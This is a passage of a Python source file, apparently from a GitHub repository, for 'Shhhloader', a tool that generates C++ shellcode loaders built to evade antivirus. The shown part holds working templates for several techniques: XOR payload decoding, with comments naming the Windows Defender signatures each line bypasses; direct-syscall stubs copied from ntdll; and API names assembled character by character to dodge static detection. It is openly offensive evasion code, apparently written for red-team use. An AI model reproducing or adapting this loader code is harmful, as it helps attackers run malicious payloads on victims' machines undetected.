-
Notifications
You must be signed in to change notification settings - Fork 188
/
Shhhloader.py
executable file
·2866 lines (2442 loc) · 120 KB
/
Shhhloader.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
#!/usr/bin/env python3
#Created by Matthew David (@icyguider)
import sys, os, argparse, random, string, re, struct, pefile
import os.path
import urllib.request
inspiration = """
┳┻|
┻┳|
┳┻|
┻┳|
┳┻| _
┻┳| •.•) - Shhhhh, AV might hear us!
┳┻|⊂ノ
┻┳|
"""
stub = """
#define _WIN32_WINNT 0x0600
#include <iostream>
#include <windows.h>
#include <psapi.h>
#include <tlhelp32.h>
#include <stdlib.h>
#include <tchar.h>
#include "skCrypter.h"
REPLACE_ME_SYSCALL_INCLUDE
#ifndef UNICODE
typedef std::string String;
#else
typedef std::wstring String;
#endif
REPLACE_UNHOOKING_DEFINTIONS
REPLACE_THREADLESS_DEFINITIONS
REPLACE_ME_SHELLCODE_VARS
#define PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY 0x20007
#define PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON 0x100000000000
REPLACE_SAFEPRINT_FUNCTIONS
REPLACE_ME_SYSCALL_STUB_P1
REPLACE_SLEEP_CHECK
REPLACE_SANDBOX_CHECK
REPLACE_ME_NTDLL_UNHOOK
REPLACE_PROCESS_FUNCTIONS
REPLACE_THREADLESS_FUNCTIONS
REPLACE_DECODE_FUNCTION
int main()
{
REPLACE_STUB_METHOD
}
REPLACE_DLL_MAIN
"""
regularShellcode = """
REPLACE_ME_PAYLOAD
SIZE_T payload_len = sizeof(payload);
unsigned char* decoded = (unsigned char*)malloc(payload_len*1.1);
"""
wordShellcode = """
REPLACE_ME_WORDLIST
REPLACE_ME_FILEWORDS
int wordsLength = sizeof(words)/sizeof(words[0]);
SIZE_T payload_len = sizeof(filewords)/sizeof(filewords[0]);
unsigned char* decoded = (unsigned char*)malloc(payload_len);
"""
regularDecode = """
// This function will prevent the following WD static detection: Trojan:Win64/CobaltStrike.CJ!MTB
std::string keySigBypass() {
std::string key;
key = skCrypt("REPLACE_ME_KEY");
return key;
}
int deC(unsigned char payload[])
{
std::string key;
key = keySigBypass();
for (int i = 0; i < payload_len; i++)
{
unsigned char byte = payload[i] ^ (int)key[i % key.length()]; // Bypass WD "Trojan:Win64/ShellcodeRunner.CL!MTB" signature
Sleep(0); // Bypass WD "Trojan:Win64/ShellcodeRunner.AMMA!MTB" signature
decoded[i] = byte;
}
key.clear();
return 0;
}
"""
wordDecode = """
int deC()
{
for (int i=0; i < payload_len; i++)
{
char* test = filewords[i];
int i2 = 0;
while (i2 < wordsLength)
{
if (words[i2] == test) {
break;
}
i2++;
}
char ci = i2;
decoded[i] = ci;
}
return 0;
}
"""
# This can be used to remove strings from memory. Currently breaks when used with ollvm
safePrint = """
int safe_print(auto msg)
{
printf("%s\\n", msg.decrypt());
msg.clear();
return 0;
}
int safe_print(auto msg, NTSTATUS res)
{
printf("%s0x%x\\n", msg.decrypt(), res);
msg.clear();
return 0;
}
"""
GetSyscallStubP1 = """
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
int const SYSCALL_STUB_SIZE = 23;
using myNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
using myNtWriteVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
using myNtProtectVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect);
using myNtCreateThreadEx = NTSTATUS(NTAPI*)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PPS_ATTRIBUTE_LIST AttributeList);
using myNtResumeThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
using myNtWaitForSingleObject = NTSTATUS(NTAPI*)(HANDLE ObjectHandle, BOOLEAN Alertable, PLARGE_INTEGER TimeOut);
using myNtQueryInformationProcess = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
using myNtReadVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T BufferSize, PSIZE_T NumberOfBytesRead);
using myNtClose = NTSTATUS(NTAPI*)(HANDLE Handle);
using myNtOpenProcess = NTSTATUS(NTAPI*)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
using myNtQueueApcThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PKNORMAL_ROUTINE ApcRoutine, PVOID ApcArgument1, PVOID ApcArgument2, PVOID ApcArgument3);
using myNtAlertResumeThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
using myNtGetContextThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PCONTEXT ThreadContext);
using myNtSetContextThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PCONTEXT Context);
using myNtDelayExecution = NTSTATUS(NTAPI*)(BOOLEAN Alertable, PLARGE_INTEGER DelayInterval);
using myNtOpenSection = NTSTATUS(NTAPI*)(PHANDLE SectionHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes);
using myNtMapViewOfSection = NTSTATUS(NTAPI*)(HANDLE SectionHandle, HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, SIZE_T CommitSize, PLARGE_INTEGER SectionOffset, PSIZE_T ViewSize, DWORD InheritDisposition, ULONG AllocationType, ULONG Win32Protect);
using myNtFreeVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID *BaseAddress, PSIZE_T RegionSize, ULONG FreeType);
myNtAllocateVirtualMemory NtAllocateVirtualMemory;
myNtWriteVirtualMemory NtWriteVirtualMemory;
myNtProtectVirtualMemory NtProtectVirtualMemory;
myNtCreateThreadEx NtCreateThreadEx;
myNtResumeThread NtResumeThread;
myNtWaitForSingleObject NewNtWaitForSingleObject;
myNtQueryInformationProcess NewNtQueryInformationProcess;
myNtReadVirtualMemory NtReadVirtualMemory;
myNtClose NewNtClose;
myNtOpenProcess NtOpenProcess;
myNtQueueApcThread NtQueueApcThread;
myNtAlertResumeThread NtAlertResumeThread;
myNtGetContextThread NtGetContextThread;
myNtSetContextThread NtSetContextThread;
myNtDelayExecution NtDelayExecution;
myNtOpenSection NtOpenSection;
myNtMapViewOfSection NtMapViewOfSection;
myNtFreeVirtualMemory NtFreeVirtualMemory;
PVOID RVAtoRawOffset(DWORD_PTR RVA, PIMAGE_SECTION_HEADER section)
{
return (PVOID)(RVA - section->VirtualAddress + section->PointerToRawData);
}
BOOL GetSyscallStub(String functionName, PIMAGE_EXPORT_DIRECTORY exportDirectory, LPVOID fileData, PIMAGE_SECTION_HEADER textSection, PIMAGE_SECTION_HEADER rdataSection, LPVOID syscallStub)
{
PDWORD addressOfNames = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfNames), rdataSection);
PDWORD addressOfFunctions = (PDWORD)RVAtoRawOffset((DWORD_PTR)fileData + *(&exportDirectory->AddressOfFunctions), rdataSection);
BOOL stubFound = FALSE;
for (size_t i = 0; i < exportDirectory->NumberOfNames; i++)
{
DWORD_PTR functionNameVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + addressOfNames[i], rdataSection);
DWORD_PTR functionVA = (DWORD_PTR)RVAtoRawOffset((DWORD_PTR)fileData + addressOfFunctions[i + 1], textSection);
LPCSTR functionNameResolved = (LPCSTR)functionNameVA;
if (strcmp(functionNameResolved, functionName.c_str()) == 0)
{
memcpy(syscallStub, (LPVOID)functionVA, SYSCALL_STUB_SIZE);
stubFound = TRUE;
}
}
return stubFound;
}
"""
GetSyscallStubP2 = """
DWORD tProcess2 = GetCurrentProcessId();
HANDLE pHandle2 = OpenProcess(PROCESS_ALL_ACCESS, FALSE, tProcess2);
HANDLE syscallStub_NtAllocateVirtualMemory = VirtualAllocEx(pHandle2, NULL, (SIZE_T)SYSCALL_STUB_SIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
HANDLE syscallStub_NtWriteVirtualMemory = static_cast<char*>(syscallStub_NtAllocateVirtualMemory) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtProtectVirtualMemory = static_cast<char*>(syscallStub_NtWriteVirtualMemory) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtCreateThreadEx = static_cast<char*>(syscallStub_NtProtectVirtualMemory) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtResumeThread = static_cast<char*>(syscallStub_NtCreateThreadEx) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtWaitForSingleObject = static_cast<char*>(syscallStub_NtResumeThread) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtQueryInformationProcess = static_cast<char*>(syscallStub_NtWaitForSingleObject) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtReadVirtualMemory = static_cast<char*>(syscallStub_NtQueryInformationProcess) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtClose = static_cast<char*>(syscallStub_NtReadVirtualMemory) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtOpenProcess = static_cast<char*>(syscallStub_NtClose) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtQueueApcThread = static_cast<char*>(syscallStub_NtOpenProcess) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtAlertResumeThread = static_cast<char*>(syscallStub_NtQueueApcThread) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtGetContextThread = static_cast<char*>(syscallStub_NtAlertResumeThread) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtSetContextThread = static_cast<char*>(syscallStub_NtGetContextThread) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtDelayExecution = static_cast<char*>(syscallStub_NtSetContextThread) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtOpenSection = static_cast<char*>(syscallStub_NtDelayExecution) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtMapViewOfSection = static_cast<char*>(syscallStub_NtOpenSection) + SYSCALL_STUB_SIZE;
HANDLE syscallStub_NtFreeVirtualMemory = static_cast<char*>(syscallStub_NtMapViewOfSection) + SYSCALL_STUB_SIZE;
DWORD oldProtection = 0;
HANDLE file = NULL;
DWORD fileSize = NULL;
DWORD bytesRead = NULL;
LPVOID fileData = NULL;
// define NtAllocateVirtualMemory
NtAllocateVirtualMemory = (myNtAllocateVirtualMemory)syscallStub_NtAllocateVirtualMemory;
VirtualProtect(syscallStub_NtAllocateVirtualMemory, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define myNtWriteVirtualMemory
NtWriteVirtualMemory = (myNtWriteVirtualMemory)syscallStub_NtWriteVirtualMemory;
VirtualProtect(syscallStub_NtWriteVirtualMemory, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define myNtProtectVirtualMemory
NtProtectVirtualMemory = (myNtProtectVirtualMemory)syscallStub_NtProtectVirtualMemory;
VirtualProtect(syscallStub_NtProtectVirtualMemory, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define myNtCreateThreadEx
NtCreateThreadEx = (myNtCreateThreadEx)syscallStub_NtCreateThreadEx;
VirtualProtect(syscallStub_NtCreateThreadEx, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define myNtResumeThread
NtResumeThread = (myNtResumeThread)syscallStub_NtResumeThread;
VirtualProtect(syscallStub_NtResumeThread, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define myNtWaitForSingleObject
NewNtWaitForSingleObject = (myNtWaitForSingleObject)syscallStub_NtWaitForSingleObject;
VirtualProtect(syscallStub_NtWaitForSingleObject, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtQueryInformationProcess
NewNtQueryInformationProcess = (myNtQueryInformationProcess)syscallStub_NtQueryInformationProcess;
VirtualProtect(syscallStub_NtQueryInformationProcess, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtReadVirtualMemory
NtReadVirtualMemory = (myNtReadVirtualMemory)syscallStub_NtReadVirtualMemory;
VirtualProtect(syscallStub_NtReadVirtualMemory, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtClose
NewNtClose = (myNtClose)syscallStub_NtClose;
VirtualProtect(syscallStub_NtClose, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtOpenProcess
NtOpenProcess = (myNtOpenProcess)syscallStub_NtOpenProcess;
VirtualProtect(syscallStub_NtOpenProcess, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtQueueApcThread
NtQueueApcThread = (myNtQueueApcThread)syscallStub_NtQueueApcThread;
VirtualProtect(syscallStub_NtQueueApcThread, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtAlertResumeThread
NtAlertResumeThread = (myNtAlertResumeThread)syscallStub_NtAlertResumeThread;
VirtualProtect(syscallStub_NtAlertResumeThread, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtGetContextThread
NtGetContextThread = (myNtGetContextThread)syscallStub_NtGetContextThread;
VirtualProtect(syscallStub_NtGetContextThread, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtSetContextThread
NtSetContextThread = (myNtSetContextThread)syscallStub_NtSetContextThread;
VirtualProtect(syscallStub_NtSetContextThread, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define syscallStub_NtDelayExecution
NtDelayExecution = (myNtDelayExecution)syscallStub_NtDelayExecution;
VirtualProtect(syscallStub_NtDelayExecution, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtOpenSection
NtOpenSection = (myNtOpenSection)syscallStub_NtOpenSection;
VirtualProtect(syscallStub_NtOpenSection, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtMapViewOfSection
NtMapViewOfSection = (myNtMapViewOfSection)syscallStub_NtMapViewOfSection;
VirtualProtect(syscallStub_NtMapViewOfSection, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
// define NtFreeVirtualMemory
NtFreeVirtualMemory = (myNtFreeVirtualMemory)syscallStub_NtFreeVirtualMemory;
VirtualProtect(syscallStub_NtFreeVirtualMemory, SYSCALL_STUB_SIZE, PAGE_EXECUTE_READWRITE, &oldProtection);
file = CreateFileA("c:\\\\windows\\\\system32\\\\ntdll.dll", GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
fileSize = GetFileSize(file, NULL);
fileData = HeapAlloc(GetProcessHeap(), 0, fileSize);
ReadFile(file, fileData, fileSize, &bytesRead, NULL);
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)fileData;
PIMAGE_NT_HEADERS imageNTHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)fileData + dosHeader->e_lfanew);
DWORD exportDirRVA = imageNTHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress;
PIMAGE_SECTION_HEADER section = IMAGE_FIRST_SECTION(imageNTHeaders);
PIMAGE_SECTION_HEADER textSection = section;
PIMAGE_SECTION_HEADER rdataSection = section;
for (int i = 0; i < imageNTHeaders->FileHeader.NumberOfSections; i++)
{
if (strcmp((CHAR*)section->Name, (CHAR*)".rdata") == 0) {
rdataSection = section;
break;
}
section++;
}
PIMAGE_EXPORT_DIRECTORY exportDirectory = (PIMAGE_EXPORT_DIRECTORY)RVAtoRawOffset((DWORD_PTR)fileData + exportDirRVA, rdataSection);
String scall = std::string("N") + "t" + "A" + "l" + "l" + "o" + "c" + "a" + "t" + "e" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
BOOL StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtAllocateVirtualMemory);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "W" + "r" + "i" + "t" + "e" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtWriteVirtualMemory);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "P" + "r" + "o" + "t" + "e" + "c" + "t" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtProtectVirtualMemory);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "C" + "r" + "e" + "a" + "t" + "e" + "T" + "h" + "r" + "e" + "a" + "d" + "E" + "x";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtCreateThreadEx);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "R" + "e" + "s" + "u" + "m" + "e" + "T" + "h" + "r" + "e" + "a" + "d";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtResumeThread);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "W" + "a" + "i" + "t" + "F" + "o" + "r" + "S" + "i" + "n" + "g" + "l" + "e" + "O" + "b" + "j" + "e" + "c" + "t";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtWaitForSingleObject);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "Q" + "u" + "e" + "r" + "y" + "I" + "n" + "f" + "o" + "r" + "m" + "a" + "t" + "i" + "o" + "n" + "P" + "r" + "o" + "c" + "e" + "s" + "s";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtQueryInformationProcess);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "R" + "e" + "a" + "d" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtReadVirtualMemory);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "C" + "l" + "o" + "s" + "e";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtClose);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "O" + "p" + "e" + "n" + "P" + "r" + "o" + "c" + "e" + "s" + "s";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtOpenProcess);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "Q" + "u" + "e" + "u" + "e" + "A" + "p" + "c" + "T" + "h" + "r" + "e" + "a" + "d";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtQueueApcThread);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "A" + "l" + "e" + "r" + "t" + "R" + "e" + "s" + "u" + "m" + "e" + "T" + "h" + "r" + "e" + "a" + "d";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtAlertResumeThread);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "G" + "e" + "t" + "C" + "o" + "n" + "t" + "e" + "x" + "t" + "T" + "h" + "r" + "e" + "a" + "d";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtGetContextThread);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "S" + "e" + "t" + "C" + "o" + "n" + "t" + "e" + "x" + "t" + "T" + "h" + "r" + "e" + "a" + "d";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtSetContextThread);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "D" + "e" + "l" + "a" + "y" + "E" + "x" + "e" + "c" + "u" + "t" + "i" + "o" + "n";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtDelayExecution);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "O" + "p" + "e" + "n" + "S" + "e" + "c" + "t" + "i" + "o" + "n";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtOpenSection);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "M" + "a" + "p" + "V" + "i" + "e" + "w" + "O" + "f" + "S" + "e" + "c" + "t" + "i" + "o" + "n";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtMapViewOfSection);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
scall = std::string("N") + "t" + "F" + "r" + "e" + "e" + "V" + "i" + "r" + "t" + "u" + "a" + "l" + "M" + "e" + "m" + "o" + "r" + "y";
StubFound = GetSyscallStub(scall, exportDirectory, fileData, textSection, rdataSection, syscallStub_NtFreeVirtualMemory);
printf("%s Stub Found: %s\\n", scall.c_str(), StubFound ? "true" : "false");
"""
NoSyscall_StubP1 = """
typedef VOID(KNORMAL_ROUTINE) (
IN PVOID NormalContext,
IN PVOID SystemArgument1,
IN PVOID SystemArgument2);
typedef KNORMAL_ROUTINE* PKNORMAL_ROUTINE;
typedef struct _PS_ATTRIBUTE
{
ULONG Attribute;
SIZE_T Size;
union
{
ULONG Value;
PVOID ValuePtr;
} u1;
PSIZE_T ReturnLength;
} PS_ATTRIBUTE, *PPS_ATTRIBUTE;
typedef struct _PS_ATTRIBUTE_LIST
{
SIZE_T TotalLength;
PS_ATTRIBUTE Attributes[1];
} PS_ATTRIBUTE_LIST, *PPS_ATTRIBUTE_LIST;
using myNtAllocateVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, ULONG ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect);
using myNtWriteVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T NumberOfBytesToWrite, PSIZE_T NumberOfBytesWritten);
using myNtProtectVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PSIZE_T RegionSize, ULONG NewProtect, PULONG OldProtect);
using myNtCreateThreadEx = NTSTATUS(NTAPI*)(PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, HANDLE ProcessHandle, PVOID StartRoutine, PVOID Argument, ULONG CreateFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, PPS_ATTRIBUTE_LIST AttributeList);
using myNtResumeThread = NTSTATUS(NTAPI*)(HANDLE ThreadHandle, PULONG PreviousSuspendCount);
using myNtWaitForSingleObject = NTSTATUS(NTAPI*)(HANDLE ObjectHandle, BOOLEAN Alertable, PLARGE_INTEGER TimeOut);
using myNtQueryInformationProcess = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PROCESSINFOCLASS ProcessInformationClass, PVOID ProcessInformation, ULONG ProcessInformationLength, PULONG ReturnLength);
using myNtReadVirtualMemory = NTSTATUS(NTAPI*)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, SIZE_T BufferSize, PSIZE_T NumberOfBytesRead);
using myNtClose = NTSTATUS(NTAPI*)(HANDLE Handle);
using myNtOpenProcess = NTSTATUS(NTAPI*)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId);
